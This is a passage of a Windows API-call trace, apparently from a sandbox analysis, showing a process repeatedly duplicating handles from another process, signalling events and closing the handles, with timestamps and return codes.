ClientId=0x1a7fa18*(UniqueProcess=0x120, UniqueThread=0x0) | out: ProcessHandle=0x1a7fa14*=0x1b0) returned 0x0 [0148.484] GetExitCodeProcess (in: hProcess=0x1b0, lpExitCode=0x1a7fa3c | out: lpExitCode=0x1a7fa3c*=0x103) returned 1 [0148.485] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.485] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.485] ResetEvent (hEvent=0xec) returned 1 [0148.485] SetEvent (hEvent=0xe8) returned 1 [0148.485] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.485] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.485] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.485] NtClose (Handle=0x15c) returned 0x0 [0148.485] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xc, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.485] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x10, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc00000bb [0148.485] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.485] ResetEvent (hEvent=0xec) returned 1 [0148.485] SetEvent (hEvent=0xe8) returned 1 [0148.485] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.486] NtClose (Handle=0x15c) returned 0x0 [0148.486] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.486] ResetEvent (hEvent=0xec) returned 1 [0148.486] SetEvent (hEvent=0xe8) returned 1 [0148.486] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.486] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.486] NtClose (Handle=0x15c) returned 0x0 [0148.486] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.486] ResetEvent (hEvent=0xec) returned 1 [0148.486] SetEvent (hEvent=0xe8) returned 1 [0148.486] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.487] NtClose (Handle=0x15c) returned 0x0 [0148.487] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.487] ResetEvent (hEvent=0xec) returned 1 [0148.487] SetEvent (hEvent=0xe8) returned 1 [0148.487] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.487] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.487] NtClose (Handle=0x15c) returned 0x0 [0148.487] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.488] ResetEvent (hEvent=0xec) returned 1 [0148.488] SetEvent (hEvent=0xe8) returned 1 [0148.488] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.488] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.488] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.488] NtClose (Handle=0x15c) returned 0x0 [0148.488] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.488] ResetEvent (hEvent=0xec) returned 1 [0148.488] SetEvent (hEvent=0xe8) returned 1 [0148.488] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.489] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.489] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.489] NtClose (Handle=0x15c) returned 0x0 [0148.489] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.489] ResetEvent (hEvent=0xec) returned 1 [0148.489] SetEvent (hEvent=0xe8) returned 1 [0148.489] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.489] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.489] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.489] NtClose (Handle=0x15c) returned 0x0 [0148.489] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.489] ResetEvent (hEvent=0xec) returned 1 [0148.489] SetEvent (hEvent=0xe8) returned 1 [0148.489] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.490] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.490] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.490] NtClose (Handle=0x15c) returned 0x0 [0148.490] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.490] ResetEvent (hEvent=0xec) returned 1 [0148.490] SetEvent (hEvent=0xe8) returned 1 [0148.490] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.490] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.490] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.490] NtClose (Handle=0x15c) returned 0x0 [0148.490] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x0) returned 0xc0000022 [0148.490] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.490] ResetEvent (hEvent=0xec) returned 1 [0148.490] SetEvent (hEvent=0xe8) returned 1 [0148.490] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.491] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.491] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.491] NtClose (Handle=0x15c) returned 0x0 [0148.491] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.491] ResetEvent (hEvent=0xec) returned 1 [0148.491] SetEvent (hEvent=0xe8) returned 1 [0148.491] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.491] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.491] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.491] NtClose (Handle=0x15c) returned 0x0 [0148.492] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.492] ResetEvent (hEvent=0xec) returned 1 [0148.492] SetEvent (hEvent=0xe8) returned 1 [0148.492] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.492] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.492] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.492] NtClose (Handle=0x15c) returned 0x0 [0148.492] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.492] ResetEvent (hEvent=0xec) returned 1 [0148.492] SetEvent (hEvent=0xe8) returned 1 [0148.492] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.493] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.493] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.493] NtClose (Handle=0x15c) returned 0x0 [0148.493] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.493] ResetEvent (hEvent=0xec) returned 1 [0148.493] SetEvent (hEvent=0xe8) returned 1 [0148.493] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.493] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.493] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.493] NtClose (Handle=0x15c) returned 0x0 [0148.493] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x50, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.493] ResetEvent (hEvent=0xec) returned 1 [0148.493] SetEvent (hEvent=0xe8) returned 1 [0148.493] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.494] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.494] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.494] NtClose (Handle=0x15c) returned 0x0 [0148.494] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x54, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.494] ResetEvent (hEvent=0xec) returned 1 [0148.494] SetEvent (hEvent=0xe8) returned 1 [0148.494] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.494] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.494] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.494] NtClose (Handle=0x15c) returned 0x0 [0148.494] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x58, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.494] ResetEvent (hEvent=0xec) returned 1 [0148.495] SetEvent (hEvent=0xe8) returned 1 [0148.495] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.495] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.495] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.495] NtClose (Handle=0x15c) returned 0x0 [0148.495] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x5c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.495] ResetEvent (hEvent=0xec) returned 1 [0148.495] SetEvent (hEvent=0xe8) returned 1 [0148.495] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.495] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.495] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.496] NtClose (Handle=0x15c) returned 0x0 [0148.496] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x60, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.496] ResetEvent (hEvent=0xec) returned 1 [0148.496] SetEvent (hEvent=0xe8) returned 1 [0148.496] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.496] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.496] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.496] NtClose (Handle=0x15c) returned 0x0 [0148.496] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x64, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.496] ResetEvent (hEvent=0xec) returned 1 [0148.496] SetEvent (hEvent=0xe8) returned 1 [0148.496] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.497] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.497] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.497] NtClose (Handle=0x15c) returned 0x0 [0148.497] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x68, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.497] ResetEvent (hEvent=0xec) returned 1 [0148.497] SetEvent (hEvent=0xe8) returned 1 [0148.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.497] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.497] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.497] NtClose (Handle=0x15c) returned 0x0 [0148.497] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x6c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.497] ResetEvent (hEvent=0xec) returned 1 [0148.497] SetEvent (hEvent=0xe8) returned 1 [0148.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.498] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.498] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.498] NtClose (Handle=0x15c) returned 0x0 [0148.498] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x70, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.498] ResetEvent (hEvent=0xec) returned 1 [0148.498] SetEvent (hEvent=0xe8) returned 1 [0148.498] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.498] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.498] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.498] NtClose (Handle=0x15c) returned 0x0 [0148.498] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x74, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.498] ResetEvent (hEvent=0xec) returned 1 [0148.498] SetEvent (hEvent=0xe8) returned 1 [0148.498] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.499] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.499] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.499] NtClose (Handle=0x15c) returned 0x0 [0148.499] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x78, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.499] ResetEvent (hEvent=0xec) returned 1 [0148.499] SetEvent (hEvent=0xe8) returned 1 [0148.499] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.499] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.499] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.499] NtClose (Handle=0x15c) returned 0x0 [0148.499] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x7c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.500] ResetEvent (hEvent=0xec) returned 1 [0148.500] SetEvent (hEvent=0xe8) returned 1 [0148.500] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.500] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.500] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.500] NtClose (Handle=0x15c) returned 0x0 [0148.500] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x80, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.500] ResetEvent (hEvent=0xec) returned 1 [0148.500] SetEvent (hEvent=0xe8) returned 1 [0148.500] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.501] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.501] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.501] NtClose (Handle=0x15c) returned 0x0 [0148.501] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x84, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.501] ResetEvent (hEvent=0xec) returned 1 [0148.501] SetEvent (hEvent=0xe8) returned 1 [0148.501] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.501] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.501] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.501] NtClose (Handle=0x15c) returned 0x0 [0148.501] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x88, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.501] ResetEvent (hEvent=0xec) returned 1 [0148.501] SetEvent (hEvent=0xe8) returned 1 [0148.501] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.502] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.502] NtClose (Handle=0x15c) returned 0x0 [0148.502] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x8c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.502] ResetEvent (hEvent=0xec) returned 1 [0148.502] SetEvent (hEvent=0xe8) returned 1 [0148.502] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.502] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.502] NtClose (Handle=0x15c) returned 0x0 [0148.502] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x90, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.502] ResetEvent (hEvent=0xec) returned 1 [0148.502] SetEvent (hEvent=0xe8) returned 1 [0148.502] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.503] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.503] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.503] NtClose (Handle=0x15c) returned 0x0 [0148.503] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x94, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.503] ResetEvent (hEvent=0xec) returned 1 [0148.503] SetEvent (hEvent=0xe8) returned 1 [0148.503] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.503] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.503] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.503] NtClose (Handle=0x15c) returned 0x0 [0148.503] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x98, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.503] ResetEvent (hEvent=0xec) returned 1 [0148.503] SetEvent (hEvent=0xe8) returned 1 [0148.504] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.504] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.504] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.504] NtClose (Handle=0x15c) returned 0x0 [0148.504] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0x9c, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.504] ResetEvent (hEvent=0xec) returned 1 [0148.504] SetEvent (hEvent=0xe8) returned 1 [0148.504] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.504] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.504] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.504] NtClose (Handle=0x15c) returned 0x0 [0148.505] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xa0, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.505] ResetEvent (hEvent=0xec) returned 1 [0148.505] SetEvent (hEvent=0xe8) returned 1 [0148.505] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.505] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.505] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.505] NtClose (Handle=0x15c) returned 0x0 [0148.505] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xa4, TargetProcessHandle=0xffffffff, TargetHandle=0x1a7fa68, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x1a7fa68*=0x15c) returned 0x0 [0148.505] ResetEvent (hEvent=0xec) returned 1 [0148.505] SetEvent (hEvent=0xe8) returned 1 [0148.505] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x1f4) returned 0x0 [0148.506] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0148.506] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0148.506] NtClose (Handle=0x15c) returned 0x0 [0148.506] NtDuplicateObject (in: SourceProcessHandle=0x1b0, SourceHandle=0xa8, 